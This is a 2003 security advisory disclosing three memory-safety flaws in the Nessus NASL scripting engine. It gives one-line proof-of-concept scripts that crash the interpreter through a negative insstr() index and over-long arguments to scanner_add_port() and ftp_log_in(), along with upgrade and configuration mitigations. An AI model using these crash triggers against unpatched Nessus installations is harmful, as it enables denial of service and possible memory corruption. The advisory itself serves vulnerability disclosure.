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nessus NASL scripting engine security issues

// @(#)Security advisory: Nessus NASL scripting engine security issues

Release date: May 23, 2003 
Name: Nessus NASL scripting engine security issues
Author: Sir Mordred <mordred@xxxxxxxxxx>


The "Nessus" Project aims to provide to the internet community a free,
powerful, up-to-date and easy to use remote security scanner.
Nessus is very fast, reliable and has a modular architecture that allows
you to fit it to your needs. 
Please visit http://www.nessus.org for more information about Nessus.


There exists some vulnerabilities in NASL scripting engine.
To exploit these flaws, an attacker would need to have a valid Nessus
account as well as the ability to upload arbitrary Nessus plugins in the
Nessus server (this option is disabled by default) or he/she would need to
trick a user somehow into running a specially crafted nasl script.

Not that these issues can NOT be exploited by a tested host to crash
nessusd remotely.

* ISSUE 1 - Integer handling vulnerability in insstr() function

Vulnerability is triggered by a negative fourth argument:

$ cat t1.nasl
insstr("aaaaaaaaaaa", "bb", 3, 0xfffffffd);

$ nasl t1.nasl
** WARNING : packet forgery will not work
** as NASL is not running as root
[1384](t1.nasl)  insstr: warning! 1st index 3 greater than 2nd index -3
Segmentation fault (core dumped)

* ISSUE 2 - Buffer overflow in scanner_add_port() function

Overflow is triggered by very long 'proto' argument:

$ cat t2.nasl
scanner_add_port(port : 80, proto : crap(data:'A', length:300));

$ nasl t2.nasl
** WARNING : packet forgery will not work
** as NASL is not running as root
Segmentation fault (core dumped)

* ISSUE 3 - Buffer overflow in ftp_log_in() function

Overflow is triggered by very long 'user'/'pass' arguments:

$ cat t3.nasl
ftp_log_in(socket : open_sock_tcp(21), pass : "11", user:

$ nasl t3.nasl
** WARNING : packet forgery will not work
** as NASL is not running as root
Segmentation fault (core dumped)


Linux RedHat 7.2

$ nasl -v | grep nasl
nasl 2.0.5


New nessus 2.0.6 packages fixes these issues.


Make sure the option 'plugins_upload' is set to 'no' in nessusd.conf and
don't run unstrusted nasl scripts.


Hank Leininger <hlein@xxxxxxxxxxxxxxxxxxxx> requested the source code audit
for some opensource projects and for nessus in particular.

Sir Mordred <mordred@xxxxxxxxxx> discovered the issues.

Renaud Deraison <deraison@xxxxxxxxxx> fixed them in an hour after being


I offering the absolutely free source code audit for opensourced
products. The programming languages acceptable for audit are: Perl, Python,
PHP, ASP, C/C++, Java. I will accept almost any code in these languages
which runs on Unix/Windows platforms.

All you need is to send the email to mordred@xxxxxxxxxx with the subject
"Security audit: source code"
and get the form in which you will answer several questions, such as
the description of the product, the details of obtaining the source code,
acceptable period of audit and so on.

After audit, you will receive the full description of vulnerabilities
found, along with the advices that will help you to fix them properly. When
you fix the vulnerabilities there should be released a public security
advisory in which the fix information will be contained and also i will be
properly credited.

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